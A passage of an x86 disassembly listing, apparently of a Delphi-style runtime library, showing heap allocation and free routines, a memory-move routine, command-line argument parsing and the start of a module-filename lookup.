		cmp	ds:byte_175AC, 0
		jnz	short loc_1217B
		call	sub_11904
		test	al, al
		jz	short loc_12183


loc_1217B:				; CODE XREF: sub_12160+10j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_1218D


loc_12183:				; CODE XREF: sub_12160+19j
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_12303
; ---------------------------------------------------------------------------


loc_1218D:				; CODE XREF: sub_12160+21j
		xor	edx, edx
		push	ebp
		push	offset loc_122FC
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_17035, 0
		jz	short loc_121AE
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_121AE:				; CODE XREF: sub_12160+42j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_121BE
		mov	ebx, 0Ch


loc_121BE:				; CODE XREF: sub_12160+57j
		cmp	ebx, 1000h
		jg	loc_12276
		mov	eax, ebx
		test	eax, eax
		jns	short loc_121D3
		add	eax, 3


loc_121D3:				; CODE XREF: sub_12160+6Ej
		sar	eax, 2
		mov	edx, ds:hMem
		mov	edx, [edx+eax*4-0Ch]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_8], 0
		jz	loc_12276
		mov	edx, [ebp+var_8]
		add	edx, ebx
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_14]
		and	dword ptr [edx], 0FFFFFFFEh
		mov	edx, [ebp+var_8]
		mov	edx, [edx+4]
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_8]
		jnz	short loc_1221A
		mov	edx, ds:hMem
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		jmp	short loc_12240
; ---------------------------------------------------------------------------


loc_1221A:				; CODE XREF: sub_12160+AAj
		mov	edx, ds:hMem
		mov	ecx, [ebp+var_10]
		mov	[edx+eax*4-0Ch], ecx
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[eax+4], edx
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		mov	[eax], edx


loc_12240:				; CODE XREF: sub_12160+B8j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		or	eax, 2
		mov	edx, [ebp+var_14]
		mov	[edx], eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_1759C
		sub	ebx, 4
		add	ds:dword_175A0,	ebx
		call	sub_13008
		jmp	loc_12303
; ---------------------------------------------------------------------------


loc_12276:				; CODE XREF: sub_12160+64j
					; sub_12160+87j
		cmp	ebx, ds:dword_17604
		jg	short loc_122D1
		sub	ds:dword_17604,	ebx
		cmp	ds:dword_17604,	0Ch
		jge	short loc_1229A
		add	ebx, ds:dword_17604
		xor	eax, eax
		mov	ds:dword_17604,	eax


loc_1229A:				; CODE XREF: sub_12160+12Bj
		mov	eax, ds:dword_17608
		mov	[ebp+var_14], eax
		add	ds:dword_17608,	ebx
		mov	eax, ebx
		or	eax, 2
		mov	edx, [ebp+var_14]
		mov	[edx], eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_1759C
		sub	ebx, 4
		add	ds:dword_175A0,	ebx
		call	sub_13008
		jmp	short loc_12303
; ---------------------------------------------------------------------------


loc_122D1:				; CODE XREF: sub_12160+11Cj
		mov	eax, ebx
		call	sub_12018
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_12303


loc_122E8:				; CODE XREF: sub_12160+1A1j
		cmp	ds:byte_17035, 0
		jz	short loc_122FB
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_122FB:				; CODE XREF: sub_12160+18Fj
		retn
; ---------------------------------------------------------------------------


loc_122FC:				; DATA XREF: sub_12160+30o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_122E8
; ---------------------------------------------------------------------------


loc_12303:				; CODE XREF: sub_12160+28j
					; sub_12160+111j ...
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_12160	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1230C	proc near		; CODE XREF: sub_11BF0+1Cp
					; sub_126E8+8Dp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_175B0,	eax
		cmp	ds:byte_175AC, 0
		jnz	short loc_12344
		call	sub_11904
		test	al, al
		jnz	short loc_12344
		mov	ds:dword_175B0,	8
		mov	[ebp+var_4], 8
		jmp	loc_124DA
; ---------------------------------------------------------------------------


loc_12344:				; CODE XREF: sub_1230C+17j
					; sub_1230C+20j
		xor	edx, edx
		push	ebp
		push	offset loc_124D3
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_17035, 0
		jz	short loc_12365
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_12365:				; CODE XREF: sub_1230C+4Dj
		mov	[ebp+var_8], ebx
		mov	eax, [ebp+var_8]
		sub	eax, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ebx, [eax]
		test	bl, 2
		jnz	short loc_1238A
		mov	ds:dword_175B0,	9
		jmp	loc_124AA
; ---------------------------------------------------------------------------


loc_1238A:				; CODE XREF: sub_1230C+6Dj
		dec	ds:dword_1759C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_175A0,	eax
		test	bl, 1
		jz	short loc_123F8
		mov	eax, [ebp+var_8]
		sub	eax, 0Ch
		mov	eax, [eax+8]
		cmp	eax, 0Ch
		jl	short loc_123BA
		test	eax, 80000003h
		jz	short loc_123C9


loc_123BA:				; CODE XREF: sub_1230C+A5j
		mov	ds:dword_175B0,	0Ah
		jmp	loc_124AA
; ---------------------------------------------------------------------------


loc_123C9:				; CODE XREF: sub_1230C+ACj
		mov	edx, [ebp+var_8]
		sub	edx, eax
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_10]
		cmp	eax, [edx+8]
		jz	short loc_123E8
		mov	ds:dword_175B0,	0Ah
		jmp	loc_124AA
; ---------------------------------------------------------------------------


loc_123E8:				; CODE XREF: sub_1230C+CBj
		add	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		call	sub_11ADC


loc_123F8:				; CODE XREF: sub_1230C+97j
		and	ebx, 7FFFFFFCh
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		cmp	eax, ds:dword_17608
		jnz	short loc_1243D
		sub	ds:dword_17608,	ebx
		add	ds:dword_17604,	ebx
		cmp	ds:dword_17604,	3C00h
		jle	short loc_1242E
		call	sub_11EA8


loc_1242E:				; CODE XREF: sub_1230C+11Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_13008
		jmp	loc_124DA
; ---------------------------------------------------------------------------


loc_1243D:				; CODE XREF: sub_1230C+103j
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		test	al, 2
		jz	short loc_12464
		and	eax, 7FFFFFFCh
		cmp	eax, 4
		jge	short loc_1245C
		mov	ds:dword_175B0,	0Bh
		jmp	short loc_124AA
; ---------------------------------------------------------------------------


loc_1245C:				; CODE XREF: sub_1230C+142j
		mov	eax, [ebp+var_C]
		or	dword ptr [eax], 1
		jmp	short loc_124A0
; ---------------------------------------------------------------------------


loc_12464:				; CODE XREF: sub_1230C+138j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_12484
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0
		jz	short loc_12484
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_12490


loc_12484:				; CODE XREF: sub_1230C+165j
					; sub_1230C+16Dj
		mov	ds:dword_175B0,	0Bh
		jmp	short loc_124AA
; ---------------------------------------------------------------------------


loc_12490:				; CODE XREF: sub_1230C+176j
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		add	ebx, eax
		mov	eax, [ebp+var_10]
		call	sub_11ADC


loc_124A0:				; CODE XREF: sub_1230C+156j
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		call	sub_11DB0


loc_124AA:				; CODE XREF: sub_1230C+79j
					; sub_1230C+B8j ...
		mov	eax, ds:dword_175B0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_124DA


loc_124BF:				; CODE XREF: sub_1230C+1CCj
		cmp	ds:byte_17035, 0
		jz	short loc_124D2
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_124D2:				; CODE XREF: sub_1230C+1BAj
		retn
; ---------------------------------------------------------------------------


loc_124D3:				; DATA XREF: sub_1230C+3Bo
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_124BF
; ---------------------------------------------------------------------------


loc_124DA:				; CODE XREF: sub_1230C+33j
					; sub_1230C+12Cj ...
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_1230C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_124E4	proc near		; CODE XREF: sub_126E8+4Dp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_124FD
		mov	ebx, 0Ch


loc_124FD:				; CODE XREF: sub_124E4+12j
		sub	eax, 4
		mov	[esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_1C]
		mov	esi, [eax]
		and	esi, 7FFFFFFCh
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax
		cmp	esi, ebx
		jnz	short loc_12522
		mov	al, 1
		jmp	loc_126DF
; ---------------------------------------------------------------------------


loc_12522:				; CODE XREF: sub_124E4+35j
		cmp	esi, ebx
		jle	loc_125BA
		mov	ebp, esi
		sub	ebp, ebx
		mov	edx, [esp+1Ch+var_18]
		cmp	edx, ds:dword_17608
		jnz	short loc_12566
		sub	ds:dword_17608,	ebp
		add	ds:dword_17604,	ebp
		cmp	ds:dword_17604,	0Ch
		jge	loc_126C2
		add	ds:dword_17608,	ebp
		sub	ds:dword_17604,	ebp
		mov	ebx, esi
		jmp	loc_126C2
; ---------------------------------------------------------------------------


loc_12566:				; CODE XREF: sub_124E4+54j
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		test	byte ptr [eax],	2
		jnz	short loc_1258B
		mov	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], eax
		mov	eax, [esp+1Ch+var_14]
		add	ebp, [eax+8]
		mov	eax, [esp+1Ch+var_14]
		call	sub_11ADC


loc_1258B:				; CODE XREF: sub_124E4+8Dj
		cmp	ebp, 0Ch
		jl	short loc_125B3
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		or	ebp, 2
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		call	sub_11BF0
		jmp	loc_126C2
; ---------------------------------------------------------------------------


loc_125B3:				; CODE XREF: sub_124E4+AAj
		mov	ebx, esi
		jmp	loc_126C2
; ---------------------------------------------------------------------------


loc_125BA:				; CODE XREF: sub_124E4+40j
					; sub_124E4+1D5j
		mov	edi, ebx
		sub	edi, esi
		mov	eax, [esp+1Ch+var_18]
		cmp	eax, ds:dword_17608
		jnz	short loc_1262F
		cmp	edi, ds:dword_17604
		jg	short loc_12621
		sub	ds:dword_17604,	edi
		add	ds:dword_17608,	edi
		cmp	ds:dword_17604,	0Ch
		jge	short loc_125FF
		mov	eax, ds:dword_17604
		add	ds:dword_17608,	eax
		add	ebx, ds:dword_17604
		xor	eax, eax
		mov	ds:dword_17604,	eax


loc_125FF:				; CODE XREF: sub_124E4+101j
		mov	eax, ebx
		sub	eax, esi
		add	ds:dword_175A0,	eax
		mov	eax, [esp+1Ch+var_1C]
		mov	eax, [eax]
		and	eax, 80000003h
		or	ebx, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	[eax], ebx
		mov	al, 1
		jmp	loc_126DF
; ---------------------------------------------------------------------------


loc_12621:				; CODE XREF: sub_124E4+ECj
		call	sub_11EA8
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax


loc_1262F:				; CODE XREF: sub_124E4+E4j
		mov	eax, [esp+1Ch+var_18]
		test	byte ptr [eax],	2
		jnz	short loc_12687
		mov	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], eax
		mov	edx, [esp+1Ch+var_14]
		mov	ebp, [edx+8]
		cmp	edi, ebp
		jle	short loc_12655
		add	eax, ebp
		mov	[esp+1Ch+var_18], eax
		sub	edi, ebp
		jmp	short loc_12687
; ---------------------------------------------------------------------------


loc_12655:				; CODE XREF: sub_124E4+165j
		mov	eax, [esp+1Ch+var_14]
		call	sub_11ADC
		sub	ebp, edi
		cmp	ebp, 0Ch
		jl	short loc_12673
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	edx, ebp
		call	sub_11DB0
		jmp	short loc_126C2
; ---------------------------------------------------------------------------


loc_12673:				; CODE XREF: sub_124E4+17Fj
		add	ebx, ebp
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		and	dword ptr [eax], 0FFFFFFFEh
		jmp	short loc_126C2
; ---------------------------------------------------------------------------


loc_12687:				; CODE XREF: sub_124E4+152j
					; sub_124E4+16Fj
		mov	eax, [esp+1Ch+var_18]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_126BE
		and	eax, 7FFFFFFCh
		add	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_18], eax
		mov	edx, edi
		mov	eax, [esp+1Ch+var_18]
		call	sub_11FAC
		test	al, al
		jz	short loc_126BE
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax
		jmp	loc_125BA
; ---------------------------------------------------------------------------


loc_126BE:				; CODE XREF: sub_124E4+1AEj
					; sub_124E4+1CAj
		xor	eax, eax
		jmp	short loc_126DF
; ---------------------------------------------------------------------------


loc_126C2:				; CODE XREF: sub_124E4+69j
					; sub_124E4+7Dj ...
		mov	eax, ebx
		sub	eax, esi
		add	ds:dword_175A0,	eax
		mov	eax, [esp+1Ch+var_1C]
		mov	eax, [eax]
		and	eax, 80000003h
		or	ebx, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	[eax], ebx
		mov	al, 1


loc_126DF:				; CODE XREF: sub_124E4+39j
					; sub_124E4+138j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_124E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_126E8	proc near		; CODE XREF: sub_12804+Dp
					; DATA XREF: DATA:off_1602Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_175AC, 0
		jnz	short loc_12710
		call	sub_11904
		test	al, al
		jnz	short loc_12710
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_127A8
; ---------------------------------------------------------------------------


loc_12710:				; CODE XREF: sub_126E8+13j
					; sub_126E8+1Cj
		xor	edx, edx
		push	ebp
		push	offset loc_127A1
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_17035, 0
		jz	short loc_12731
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_12731:				; CODE XREF: sub_126E8+3Dj
		mov	edx, esi
		mov	eax, ebx
		call	sub_124E4
		test	al, al
		jz	short loc_12743
		mov	[ebp+var_4], ebx
		jmp	short loc_12780
; ---------------------------------------------------------------------------


loc_12743:				; CODE XREF: sub_126E8+54j
		mov	eax, esi
		call	sub_12160
		mov	[ebp+var_8], eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_12762
		mov	eax, esi


loc_12762:				; CODE XREF: sub_126E8+76j
		cmp	[ebp+var_8], 0
		jz	short loc_1277A
		mov	edx, [ebp+var_8]
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_128C8
		mov	eax, ebx
		call	sub_1230C


loc_1277A:				; CODE XREF: sub_126E8+7Ej
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_12780:				; CODE XREF: sub_126E8+59j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_127A8


loc_1278D:				; CODE XREF: sub_126E8+BEj
		cmp	ds:byte_17035, 0
		jz	short loc_127A0
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_127A0:				; CODE XREF: sub_126E8+ACj
		retn
; ---------------------------------------------------------------------------


loc_127A1:				; DATA XREF: sub_126E8+2Bo
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_1278D
; ---------------------------------------------------------------------------


loc_127A8:				; CODE XREF: sub_126E8+23j
					; sub_126E8:loc_127A0j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_126E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_127B4	proc near		; CODE XREF: sub_13570+Cp

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_127D6
		mov	eax, ebx
		call	ds:off_16024
		mov	[esp+8+var_8], eax
		cmp	[esp+8+var_8], 0
		jnz	short loc_127DB
		mov	al, 1
		call	sub_128AC
; ---------------------------------------------------------------------------
		jmp	short loc_127DB
; ---------------------------------------------------------------------------


loc_127D6:				; CODE XREF: sub_127B4+6j
		xor	eax, eax
		mov	[esp+8+var_8], eax


loc_127DB:				; CODE XREF: sub_127B4+17j
					; sub_127B4+20j
		mov	eax, [esp+8+var_8]
		pop	edx
		pop	ebx
		retn
sub_127B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_127E4	proc near		; CODE XREF: sub_134D8+1Cp
					; sub_134FC+21p ...
		push	ebx
		test	eax, eax
		jz	short loc_127FE
		call	ds:off_16028
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_12800
		mov	al, 2
		call	sub_128AC
; ---------------------------------------------------------------------------
		jmp	short loc_12800
; ---------------------------------------------------------------------------


loc_127FE:				; CODE XREF: sub_127E4+3j
		xor	ebx, ebx


loc_12800:				; CODE XREF: sub_127E4+Fj
					; sub_127E4+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_127E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_12804	proc near		; CODE XREF: sub_136A8+22p
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_1283C
		test	edx, edx
		jz	short loc_12826
		push	eax
		mov	eax, ecx
		call	ds:off_1602C
		pop	ecx
		or	eax, eax
		jz	short loc_12835
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_1281F:				; CODE XREF: sub_12804+2Ej
		mov	al, 2
		jmp	sub_128AC
; ---------------------------------------------------------------------------


loc_12826:				; CODE XREF: sub_12804+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_16028
		or	eax, eax
		jnz	short loc_1281F
		retn
; ---------------------------------------------------------------------------


loc_12835:				; CODE XREF: sub_12804+16j
					; sub_12804+48j
		mov	al, 1
		jmp	sub_128AC
; ---------------------------------------------------------------------------


loc_1283C:				; CODE XREF: sub_12804+4j
		test	edx, edx
		jz	short locret_12850
		push	eax
		mov	eax, edx
		call	ds:off_16024
		pop	ecx
		or	eax, eax
		jz	short loc_12835
		mov	[ecx], eax

locret_12850:				; CODE XREF: sub_12804+3Aj
		retn
sub_12804	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_12854	proc near		; CODE XREF: sub_12860+42p
					; CODE:000130B7p
		mov	ds:dword_16004,	edx
		call	sub_134C0
sub_12854	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_12860	proc near		; CODE XREF: sub_128AC+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_17008,	0
		jz	short loc_1287C
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_17008


loc_1287C:				; CODE XREF: sub_12860+10j
		test	bl, bl
		jnz	short loc_1288D
		call	sub_13A18
		mov	ebx, [eax+4]
		jmp	short loc_1289C
; ---------------------------------------------------------------------------


loc_1288D:				; CODE XREF: sub_12860+1Ej
		cmp	bl, 18h
		ja	short loc_1289C
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_16030[eax]


loc_1289C:				; CODE XREF: sub_12860+2Bj
					; sub_12860+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_12854
sub_12860	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_128AC	proc near		; CODE XREF: sub_127B4+1Bp
					; sub_127E4+13p ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_12860
sub_128AC	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_128B8	proc near		; CODE XREF: sub_12AD0+38p
					; sub_12AD0+4Cp
		push	ebx
		mov	ebx, eax
		call	sub_13A18
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_128B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_128C8	proc near		; CODE XREF: sub_126E8+86p
					; sub_1352C+1Bp ...
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_128E7
		jz	short loc_12905
		sar	ecx, 2
		js	short loc_12905
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_128E7:				; CODE XREF: sub_128C8+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_12905
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld


loc_12905:				; CODE XREF: sub_128C8+Cj
					; sub_128C8+11j ...
		pop	edi
		pop	esi
		retn
sub_128C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_12908	proc near		; CODE XREF: sub_12A6C+44p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_24], edx
		mov	[esp+28h+var_28], eax
		mov	esi, esp
		lea	edi, [esp+28h+var_14]
		jmp	short loc_12928
; ---------------------------------------------------------------------------


loc_1291E:				; CODE XREF: sub_12908+2Bj
		mov	eax, [esi]
		push	eax		; lpsz
		call	CharNextA	; CharNextA
		mov	[esi], eax


loc_12928:				; CODE XREF: sub_12908+14j
					; sub_12908+3Fj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_12935
		cmp	bl, 20h
		jbe	short loc_1291E


loc_12935:				; CODE XREF: sub_12908+26j
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_12949
		mov	eax, [esi]
		cmp	byte ptr [eax+1], 22h
		jnz	short loc_12949
		add	dword ptr [esi], 2
		jmp	short loc_12928
; ---------------------------------------------------------------------------


loc_12949:				; CODE XREF: sub_12908+32j
					; sub_12908+3Aj
		xor	ebp, ebp
		mov	eax, [esi]
		mov	[esp+28h+var_1C], eax
		jmp	short loc_129AE
; ---------------------------------------------------------------------------


loc_12953:				; CODE XREF: sub_12908+ABj
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_1299A
		mov	eax, [esi]
		push	eax		; lpsz
		call	CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_1297A
; ---------------------------------------------------------------------------


loc_12966:				; CODE XREF: sub_12908+7Dj
		mov	eax, [esi]
		push	eax		; lpsz
		call	CharNextA	; CharNextA
		mov	[edi], eax
		mov	eax, [edi]
		sub	eax, [esi]
		add	ebp, eax
		mov	eax, [edi]
		mov	[esi], eax


loc_1297A:				; CODE XREF: sub_12908+5Cj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_12987
		cmp	bl, 22h
		jnz	short loc_12966


loc_12987:				; CODE XREF: sub_12908+78j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_129AE
		mov	eax, [esi]
		push	eax		; lpsz
		call	CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_129AE
; ---------------------------------------------------------------------------


loc_1299A:				; CODE XREF: sub_12908+50j
		mov	eax, [esi]
		push	eax		; lpsz
		call	CharNextA	; CharNextA
		mov	[edi], eax
		mov	eax, [edi]
		sub	eax, [esi]
		add	ebp, eax
		mov	eax, [edi]
		mov	[esi], eax


loc_129AE:				; CODE XREF: sub_12908+49j
					; sub_12908+84j ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	20h
		ja	short loc_12953
		mov	eax, [esp+28h+var_24]
		mov	edx, ebp
		call	sub_136A8
		mov	eax, [esp+28h+var_1C]
		mov	[esi], eax
		mov	eax, [esp+28h+var_24]
		mov	eax, [eax]
		mov	[esp+28h+var_18], eax
		xor	ebp, ebp
		jmp	short loc_12A4F
; ---------------------------------------------------------------------------


loc_129D4:				; CODE XREF: sub_12908+14Cj
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_12A2B
		mov	eax, [esi]
		push	eax		; lpsz
		call	CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_12A0B
; ---------------------------------------------------------------------------


loc_129E7:				; CODE XREF: sub_12908+10Ej
		mov	eax, [esi]
		push	eax		; lpsz
		call	CharNextA	; CharNextA
		mov	[edi], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jnb	short loc_12A0B


loc_129F7:				; CODE XREF: sub_12908+101j
		mov	eax, [esi]
		mov	al, [eax]
		mov	edx, [esp+28h+var_18]
		mov	[edx+ebp], al
		inc	dword ptr [esi]
		inc	ebp
		mov	eax, [esi]
		cmp	eax, [edi]
		jb	short loc_129F7


loc_12A0B:				; CODE XREF: sub_12908+DDj
					; sub_12908+EDj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_12A18
		cmp	bl, 22h
		jnz	short loc_129E7


loc_12A18:				; CODE XREF: sub_12908+109j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_12A4F
		mov	eax, [esi]
		push	eax		; lpsz
		call	CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_12A4F
; ---------------------------------------------------------------------------


loc_12A2B:				; CODE XREF: sub_12908+D1j
		mov	eax, [esi]
		push	eax		; lpsz
		call	CharNextA	; CharNextA
		mov	[edi], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jnb	short loc_12A4F


loc_12A3B:				; CODE XREF: sub_12908+145j
		mov	eax, [esi]
		mov	al, [eax]
		mov	edx, [esp+28h+var_18]
		mov	[edx+ebp], al
		inc	dword ptr [esi]
		inc	ebp
		mov	eax, [esi]
		cmp	eax, [edi]
		jb	short loc_12A3B


loc_12A4F:				; CODE XREF: sub_12908+CAj
					; sub_12908+115j ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	20h
		ja	loc_129D4
		mov	eax, [esi]
		mov	[esp+28h+var_20], eax
		mov	eax, [esp+28h+var_20]
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_12908	endp


; =============== S U B	R O U T	I N E =======================================



sub_12A6C	proc near		; CODE XREF: sub_14F44+C1p

var_114		= dword	ptr -114h
Filename	= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_134D8
		test	esi, esi
		jnz	short loc_12AA3
		push	105h		; nSize
		lea	eax, [esp+118h+Filename]
		push	eax		; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA	; GetModuleFileNameA
		mov	ecx, eax
		lea	edx, [esp+114h+Filename]
